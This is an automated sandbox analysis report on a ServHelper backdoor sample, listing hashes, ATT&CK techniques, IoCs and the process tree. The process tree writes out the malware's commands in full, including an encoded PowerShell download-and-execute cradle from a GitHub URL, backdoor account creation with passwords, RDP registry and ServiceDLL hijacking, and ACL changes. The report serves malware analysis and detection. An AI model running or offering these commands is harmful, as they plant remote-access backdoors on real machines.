servhelper | 6966ad7c975ddb2bddcd4b4ed59fbf594ea0efbf2ecf5379cb288a861ad135c6

Analysis

max time kernel
125s
max time network
65s
platform
windows7_x64
resource
win7v20210410
submitted
22-05-2021 21:05

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General

Target

3697ca9544a5562a762834461b3c0c09.exe
Size

6.0MB
MD5

3697ca9544a5562a762834461b3c0c09
SHA1

eb9ec8c1ddad50259ce14d53d5953801b8066087
SHA256

6966ad7c975ddb2bddcd4b4ed59fbf594ea0efbf2ecf5379cb288a861ad135c6
SHA512

5945ec46f243f7484448430237cb8a6b38fe23db4d46680a5bceed7802eae4d570f4ed1ed1c35d01d5f1c41c9c53f7f5986f37bae00cbd53eae6e0b164dc7fd9

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	524	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
668	icacls.exe
520	icacls.exe
616	icacls.exe
844	icacls.exe
1396	icacls.exe
1604	icacls.exe
1208	takeown.exe
1136	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0004000000013100-171.dat	upx
behavioral1/files/0x0005000000013101-172.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
668	Process not Found
668	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1396	icacls.exe
1604	icacls.exe
1208	takeown.exe
1136	icacls.exe
668	icacls.exe
520	icacls.exe
616	icacls.exe
844	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MFQBL2327D0WS6WECKXB.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0bf5d603-9012-458b-a286-0866ed13c63b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6c8103b8-37f9-4512-bc1a-751370bee9b9	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_78d11bca-b96d-41bc-b605-e29b3c1fa84d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8951dccc-6d71-4e24-9e13-d043d97ebe7a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0ff24679-1ce3-482b-9cd5-4b9f47280848	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_96e254e8-0a5f-416b-a069-1153a839f22c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8887bb08-ff93-42f3-8b8c-a55cc41f0282	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_65b4e5b9-66e9-4925-b829-1dcc4942e2d1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7bad117e-3de2-49d9-a62c-68e610c589be	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b88aefbd-9cb1-41eb-8797-1fbd58117713	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b5b0a6f0-0050-4305-8668-7e458c1e6c39	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0bcb6bf4e4fd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
632	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1484	powershell.exe
1484	powershell.exe
1212	powershell.exe
1212	powershell.exe
1584	powershell.exe
1584	powershell.exe
2044	powershell.exe
2044	powershell.exe
1484	powershell.exe
1484	powershell.exe
1484	powershell.exe
524	powershell.exe
524	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
468	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1484	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeRestorePrivilege	668	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1796	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1796	WMIC.exe
Token: SeAuditPrivilege	1796	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1796	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1796	WMIC.exe
Token: SeAuditPrivilege	1796	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeAuditPrivilege	1512	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeAuditPrivilege	1512	WMIC.exe
Token: SeDebugPrivilege	524	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 1484	1640	3697ca9544a5562a762834461b3c0c09.exe	29
PID 1640 wrote to memory of 1484	1640	3697ca9544a5562a762834461b3c0c09.exe	29
PID 1640 wrote to memory of 1484	1640	3697ca9544a5562a762834461b3c0c09.exe	29
PID 1484 wrote to memory of 1212	1484	powershell.exe	31
PID 1484 wrote to memory of 1212	1484	powershell.exe	31
PID 1484 wrote to memory of 1212	1484	powershell.exe	31
PID 1484 wrote to memory of 1584	1484	powershell.exe	33
PID 1484 wrote to memory of 1584	1484	powershell.exe	33
PID 1484 wrote to memory of 1584	1484	powershell.exe	33
PID 1484 wrote to memory of 2044	1484	powershell.exe	35
PID 1484 wrote to memory of 2044	1484	powershell.exe	35
PID 1484 wrote to memory of 2044	1484	powershell.exe	35
PID 1484 wrote to memory of 1208	1484	powershell.exe	38
PID 1484 wrote to memory of 1208	1484	powershell.exe	38
PID 1484 wrote to memory of 1208	1484	powershell.exe	38
PID 1484 wrote to memory of 1136	1484	powershell.exe	39
PID 1484 wrote to memory of 1136	1484	powershell.exe	39
PID 1484 wrote to memory of 1136	1484	powershell.exe	39
PID 1484 wrote to memory of 668	1484	powershell.exe	40
PID 1484 wrote to memory of 668	1484	powershell.exe	40
PID 1484 wrote to memory of 668	1484	powershell.exe	40
PID 1484 wrote to memory of 520	1484	powershell.exe	41
PID 1484 wrote to memory of 520	1484	powershell.exe	41
PID 1484 wrote to memory of 520	1484	powershell.exe	41
PID 1484 wrote to memory of 616	1484	powershell.exe	42
PID 1484 wrote to memory of 616	1484	powershell.exe	42
PID 1484 wrote to memory of 616	1484	powershell.exe	42
PID 1484 wrote to memory of 844	1484	powershell.exe	43
PID 1484 wrote to memory of 844	1484	powershell.exe	43
PID 1484 wrote to memory of 844	1484	powershell.exe	43
PID 1484 wrote to memory of 1396	1484	powershell.exe	44
PID 1484 wrote to memory of 1396	1484	powershell.exe	44
PID 1484 wrote to memory of 1396	1484	powershell.exe	44
PID 1484 wrote to memory of 1604	1484	powershell.exe	45
PID 1484 wrote to memory of 1604	1484	powershell.exe	45
PID 1484 wrote to memory of 1604	1484	powershell.exe	45
PID 1484 wrote to memory of 1212	1484	powershell.exe	46
PID 1484 wrote to memory of 1212	1484	powershell.exe	46
PID 1484 wrote to memory of 1212	1484	powershell.exe	46
PID 1484 wrote to memory of 632	1484	powershell.exe	47
PID 1484 wrote to memory of 632	1484	powershell.exe	47
PID 1484 wrote to memory of 632	1484	powershell.exe	47
PID 1484 wrote to memory of 324	1484	powershell.exe	48
PID 1484 wrote to memory of 324	1484	powershell.exe	48
PID 1484 wrote to memory of 324	1484	powershell.exe	48
PID 1484 wrote to memory of 1512	1484	powershell.exe	49
PID 1484 wrote to memory of 1512	1484	powershell.exe	49
PID 1484 wrote to memory of 1512	1484	powershell.exe	49
PID 1512 wrote to memory of 1032	1512	net.exe	50
PID 1512 wrote to memory of 1032	1512	net.exe	50
PID 1512 wrote to memory of 1032	1512	net.exe	50
PID 1484 wrote to memory of 1968	1484	powershell.exe	51
PID 1484 wrote to memory of 1968	1484	powershell.exe	51
PID 1484 wrote to memory of 1968	1484	powershell.exe	51
PID 1968 wrote to memory of 992	1968	cmd.exe	52
PID 1968 wrote to memory of 992	1968	cmd.exe	52
PID 1968 wrote to memory of 992	1968	cmd.exe	52
PID 992 wrote to memory of 360	992	cmd.exe	53
PID 992 wrote to memory of 360	992	cmd.exe	53
PID 992 wrote to memory of 360	992	cmd.exe	53
PID 360 wrote to memory of 2044	360	net.exe	54
PID 360 wrote to memory of 2044	360	net.exe	54
PID 360 wrote to memory of 2044	360	net.exe	54
PID 1484 wrote to memory of 1820	1484	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\3697ca9544a5562a762834461b3c0c09.exe
"C:\Users\Admin\AppData\Local\Temp\3697ca9544a5562a762834461b3c0c09.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2044
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1208
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1136
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:668
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:520
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:616
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:844
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1396
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1604
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1212
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:632
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:324
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1032
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:992
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:360
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2044
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1820
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1200
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1180
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:292
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:300
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1208

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:844
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:2020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:748

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc t1eFTEzO /add
1⤵
PID:1864
- C:\Windows\system32\net.exe
  net.exe user wgautilacc t1eFTEzO /add
  2⤵
  PID:1708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc t1eFTEzO /add
    3⤵
    PID:568

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1288
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1636

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:876
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:556

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1236
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:892

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc t1eFTEzO
1⤵
PID:632
- C:\Windows\system32\net.exe
  net.exe user wgautilacc t1eFTEzO
  2⤵
  PID:972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc t1eFTEzO
    3⤵
    PID:524

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1288
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1796

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1856
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1512

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1840
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/524-197-0x00000000195B4000-0x00000000195B6000-memory.dmp

Filesize
8KB

Download
memory/524-196-0x00000000195B0000-0x00000000195B2000-memory.dmp

Filesize
8KB

Download
memory/524-198-0x00000000195BA000-0x00000000195D9000-memory.dmp

Filesize
124KB

Download
memory/1212-90-0x000000001AC30000-0x000000001AC31000-memory.dmp

Filesize
4KB

Download
memory/1212-112-0x000000001B770000-0x000000001B771000-memory.dmp

Filesize
4KB

Download
memory/1212-85-0x000000001ACD0000-0x000000001ACD2000-memory.dmp

Filesize
8KB

Download
memory/1212-86-0x000000001ACD4000-0x000000001ACD6000-memory.dmp

Filesize
8KB

Download
memory/1212-88-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/1212-92-0x0000000002940000-0x0000000002941000-memory.dmp

Filesize
4KB

Download
memory/1212-93-0x0000000002200000-0x0000000002201000-memory.dmp

Filesize
4KB

Download
memory/1212-98-0x000000001B730000-0x000000001B731000-memory.dmp

Filesize
4KB

Download
memory/1212-111-0x000000001B640000-0x000000001B641000-memory.dmp

Filesize
4KB

Download
memory/1484-72-0x0000000002290000-0x0000000002291000-memory.dmp

Filesize
4KB

Download
memory/1484-68-0x000000001AC00000-0x000000001AC01000-memory.dmp

Filesize
4KB

Download
memory/1484-74-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

Filesize
4KB

Download
memory/1484-70-0x000000001AB80000-0x000000001AB82000-memory.dmp

Filesize
8KB

Download
memory/1484-76-0x000000001AB8A000-0x000000001ABA9000-memory.dmp

Filesize
124KB

Download
memory/1484-77-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/1484-78-0x000000001C180000-0x000000001C181000-memory.dmp

Filesize
4KB

Download
memory/1484-79-0x000000001B580000-0x000000001B581000-memory.dmp

Filesize
4KB

Download
memory/1484-71-0x000000001AB84000-0x000000001AB86000-memory.dmp

Filesize
8KB

Download
memory/1484-66-0x000007FEFB881000-0x000007FEFB883000-memory.dmp

Filesize
8KB

Download
memory/1484-67-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/1484-69-0x000000001AA50000-0x000000001AA51000-memory.dmp

Filesize
4KB

Download
memory/1484-148-0x000000001C750000-0x000000001C751000-memory.dmp

Filesize
4KB

Download
memory/1584-125-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

Filesize
4KB

Download
memory/1584-126-0x0000000001E40000-0x0000000001E41000-memory.dmp

Filesize
4KB

Download
memory/1584-123-0x000000001B600000-0x000000001B601000-memory.dmp

Filesize
4KB

Download
memory/1584-121-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

Filesize
4KB

Download
memory/1584-119-0x000000001AA34000-0x000000001AA36000-memory.dmp

Filesize
8KB

Download
memory/1584-118-0x000000001AA30000-0x000000001AA32000-memory.dmp

Filesize
8KB

Download
memory/1640-59-0x0000000041770000-0x0000000041B91000-memory.dmp

Filesize
4.1MB

Download
memory/1640-64-0x0000000028617000-0x0000000028618000-memory.dmp

Filesize
4KB

Download
memory/1640-62-0x0000000028614000-0x0000000028616000-memory.dmp

Filesize
8KB

Download
memory/1640-61-0x0000000028612000-0x0000000028614000-memory.dmp

Filesize
8KB

Download
memory/1640-63-0x0000000028616000-0x0000000028617000-memory.dmp

Filesize
4KB

Download
memory/2044-140-0x000000001AC30000-0x000000001AC32000-memory.dmp

Filesize
8KB

Download
memory/2044-141-0x000000001AC34000-0x000000001AC36000-memory.dmp

Filesize
8KB

Download